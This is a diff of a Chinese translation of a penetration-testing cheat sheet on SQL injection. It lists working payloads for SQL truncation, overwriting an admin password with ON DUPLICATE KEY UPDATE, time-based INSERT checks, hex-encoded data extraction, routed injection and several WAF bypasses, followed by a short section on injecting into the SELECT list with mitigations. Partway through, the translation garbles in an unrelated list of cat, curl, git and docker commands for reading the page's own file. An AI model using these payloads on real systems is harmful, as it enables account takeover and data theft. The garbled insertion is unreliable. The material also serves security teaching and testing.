||||
数据库会**检查**所输入的**username**是否**存在**于数据库中。如果**不存在**,它会将该**username****截断**到**允许的最大字符数**(在本例中为:"_admin \[25 spaces]_"),然后会**自动移除末尾的所有空格并在数据库中用新密码更新**用户 "**admin**"(可能会出现一些错误,但这并不意味着该方法没有成功)。
|
||||
|
||||
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_注意:在最新的 MySQL 安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL 插入基于时间的检查
|
||||
### MySQL Insert time based checking
|
||||
|
||||
添加尽可能多的 `','',''` 以退出 VALUES 语句。如果执行了延迟,则您有 SQL 注入。
|
||||
添加尽可能多的 `','',''` 以便退出 VALUES 语句。如果触发了延迟,则说明存在 SQLInjection。
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中出现重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码:
|
||||
在 MySQL 中,`ON DUPLICATE KEY UPDATE` 子句用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 重复值时数据库应采取的操作。下面的示例演示了如何利用此功能来修改管理员帐户的密码:
|
||||
|
||||
示例有效负载注入:
|
||||
示例 Payload Injection:
|
||||
|
||||
有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
|
||||
可以构造如下的注入 payload,其中尝试向 `users` 表插入两行。第一行是幌子,第二行则针对现有管理员的邮箱,目的是更新密码:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
这是它的工作原理:
|
||||
Here's how it works:
|
||||
|
||||
- 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`。
|
||||
- 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
|
||||
- 因此,可以使用 `admin_generic@example.com` 尝试身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
|
||||
- 该查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`。
|
||||
- 如果 `admin_generic@example.com` 对应的行已存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 将现有行的 `password` 字段更新为 "bcrypt_hash_of_newpassword"。
|
||||
- 因此,可以使用 `admin_generic@example.com` 尝试进行身份验证,密码为对应的 bcrypt hash("bcrypt_hash_of_newpassword" 表示新密码的 bcrypt 哈希,应替换为所需密码的实际哈希值)。
|
||||
|
||||
### 提取信息
|
||||
|
||||
#### 同时创建 2 个账户
|
||||
|
||||
在尝试创建新用户时,需要用户名、密码和电子邮件:
|
||||
When trying to create a new user and username, password and email are needed:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
@ -448,17 +449,57 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### 使用十进制或十六进制
|
||||
|
||||
使用此技术,您可以仅创建 1 个帐户来提取信息。重要的是要注意,您不需要评论任何内容。
|
||||
通过此技术,你只需创建一个账户就能提取信息。重要的是要注意,你不需要 comment 任何东西。
|
||||
|
||||
使用 **hex2dec** 和 **substr**:
|
||||
使用 **hex2dec** 和 **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
要获取文本,您可以使用:
|
||||
要获取该文件的文本,你可以使用以下命令之一:
|
||||
|
||||
- 本地查看:
|
||||
- cat:
|
||||
```
|
||||
cat src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
- less:
|
||||
```
|
||||
less src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
- head/tail(查看开头/结尾):
|
||||
```
|
||||
head -n 200 src/pentesting-web/sql-injection/README.md
|
||||
tail -n 200 src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
- Git 仓库历史中的文件:
|
||||
```
|
||||
git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
- GitHub 原始文件(替换 OWNER/REPO/BRANCH):
|
||||
```
|
||||
curl -s https://raw.githubusercontent.com/OWNER/REPO/BRANCH/src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
- 使用 gh CLI:
|
||||
```
|
||||
gh repo view --raw --path src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
- Windows PowerShell:
|
||||
```
|
||||
Get-Content -Path src/pentesting-web/sql-injection/README.md -Raw
|
||||
```
|
||||
|
||||
- 容器内文件:
|
||||
```
|
||||
docker exec -it <container> cat /path/to/repo/src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
使用 **hex** 和 **replace** (以及 **substr**):
|
||||
使用 **hex** 和 **replace** (和 **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -469,9 +510,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection 是一种情况,其中可注入的查询不是直接产生输出的查询,而是可注入查询的输出传递给产生输出的查询。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection 是一种情形,其中可注入的查询不是直接产生输出的查询,而是可注入查询的输出被传递到产生输出的查询。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
示例:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
@ -482,7 +523,7 @@ Example:
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
无空格 (%20) - 使用空白替代品进行绕过
|
||||
No Space (%20) - bypass 使用空白替代符
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -491,17 +532,17 @@ Example:
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
无空格 - 使用注释绕过
|
||||
No Whitespace - bypass 使用注释
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
无空格 - 使用括号绕过
|
||||
No Whitespace - 使用括号绕过
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### 无逗号绕过
|
||||
### 无逗号 bypass
|
||||
|
||||
无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过
|
||||
No Comma - bypass 使用 OFFSET, FROM 和 JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -509,13 +550,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||
```
|
||||
### 通用绕过
|
||||
|
||||
使用关键字的黑名单 - 使用大写/小写进行绕过
|
||||
使用关键字的 blacklist - 通过改变 uppercase/lowercase 绕过
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
使用关键字的黑名单(不区分大小写) - 使用等效运算符绕过
|
||||
使用关键字的黑名单(不区分大小写) - 使用等价运算符绕过
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -523,10 +564,10 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### 科学计数法 WAF 绕过
|
||||
### 科学记数法 WAF bypass
|
||||
|
||||
您可以在 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 中找到对此技巧的更深入解释。\
|
||||
基本上,您可以以意想不到的方式使用科学计数法来绕过 WAF:
|
||||
关于此技巧的更深入说明可以在 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
基本上,你可以以出乎意料的方式使用科学记数法来绕过 WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
@ -534,22 +575,50 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### 绕过列名限制
|
||||
|
||||
首先,请注意,如果**原始查询和您想要提取标志的表具有相同数量的列**,您可以直接执行:`0 UNION SELECT * FROM flag`
|
||||
首先,请注意,如果**原始查询和你要从中提取 flag 的表具有相同数量的列**,你可以直接做: `0 UNION SELECT * FROM flag`
|
||||
|
||||
可以**在不使用列名的情况下访问表的第三列**,使用如下查询:`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,因此在sql注入中,这看起来像:
|
||||
可以通过如下查询**在不使用列名的情况下访问表的第三列**: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,因此在一个 sqlinjection 中这看起来像:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
或使用 **comma bypass**:
|
||||
或者使用 **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
这个技巧来自于 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
这个技巧取自 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
如果用户输入被拼接到 SELECT list 或 table/column identifiers 中,prepared statements 无济于事,因为 bind parameters 只保护 values,而不是 identifiers。一个常见的易受攻击的模式是:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Exploitation 思路:在字段位置注入 subquery 以 exfiltrate 任意数据:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
注意:
|
||||
- 即使 WHERE clause 使用 bound parameter,该方法仍然有效,因为 identifier 列表仍然以字符串拼接的方式组合。
|
||||
- 某些 stacks 还允许你控制表名 (tablename injection),从而能够跨表读取。
|
||||
- 输出 sink 可能会将选定的值反射到 HTML/JSON 中,从而直接在响应中引发 XSS 或 token 外泄。
|
||||
|
||||
缓解措施:
|
||||
- 切勿从用户输入中拼接 identifiers。将允许的 column names 映射到一个固定的允许列表并正确引用 identifiers。
|
||||
- 如果需要动态表访问,请限制为一个有限集合,并在服务器端从安全映射中解析。
|
||||
|
||||
### WAF 绕过建议工具
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
@ -561,9 +630,13 @@ https://github.com/m4ll0k/Atlas
|
||||
|
||||
## 暴力破解检测列表
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user